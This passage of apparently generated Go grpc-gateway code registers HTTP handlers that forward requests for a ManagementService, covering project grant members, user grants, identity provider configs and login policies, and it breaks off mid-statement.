mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveProjectGrant_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_RemoveProjectGrant_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveProjectGrant_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetProjectGrantMemberRoles_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_GetProjectGrantMemberRoles_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetProjectGrantMemberRoles_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SearchProjectGrantMembers_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_SearchProjectGrantMembers_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SearchProjectGrantMembers_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_AddProjectGrantMember_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_AddProjectGrantMember_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_AddProjectGrantMember_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_ChangeProjectGrantMember_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_ChangeProjectGrantMember_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ChangeProjectGrantMember_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveProjectGrantMember_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_RemoveProjectGrantMember_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveProjectGrantMember_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SearchUserGrants_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_SearchUserGrants_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SearchUserGrants_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_UserGrantByID_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_UserGrantByID_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UserGrantByID_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_CreateUserGrant_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_CreateUserGrant_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_CreateUserGrant_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_UpdateUserGrant_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_UpdateUserGrant_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UpdateUserGrant_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_DeactivateUserGrant_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_DeactivateUserGrant_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_DeactivateUserGrant_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_ReactivateUserGrant_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_ReactivateUserGrant_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ReactivateUserGrant_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveUserGrant_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_RemoveUserGrant_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveUserGrant_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_BulkRemoveUserGrant_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_BulkRemoveUserGrant_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_BulkRemoveUserGrant_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_IdpByID_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_IdpByID_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_IdpByID_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_CreateOidcIdp_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_CreateOidcIdp_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_CreateOidcIdp_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_UpdateIdpConfig_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_UpdateIdpConfig_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UpdateIdpConfig_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_DeactivateIdpConfig_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_DeactivateIdpConfig_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_DeactivateIdpConfig_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_ReactivateIdpConfig_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_ReactivateIdpConfig_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_ReactivateIdpConfig_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_ManagementService_RemoveIdpConfig_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_RemoveIdpConfig_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_RemoveIdpConfig_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ManagementService_UpdateOidcIdpConfig_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_UpdateOidcIdpConfig_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_UpdateOidcIdpConfig_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_SearchIdps_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_SearchIdps_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_SearchIdps_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetLoginPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_GetLoginPolicy_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetLoginPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ManagementService_GetDefaultLoginPolicy_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ManagementService_GetDefaultLoginPolicy_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ManagementService_GetDefaultLoginPolicy_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ManagementService_CreateLoginPolicy_0, func(w 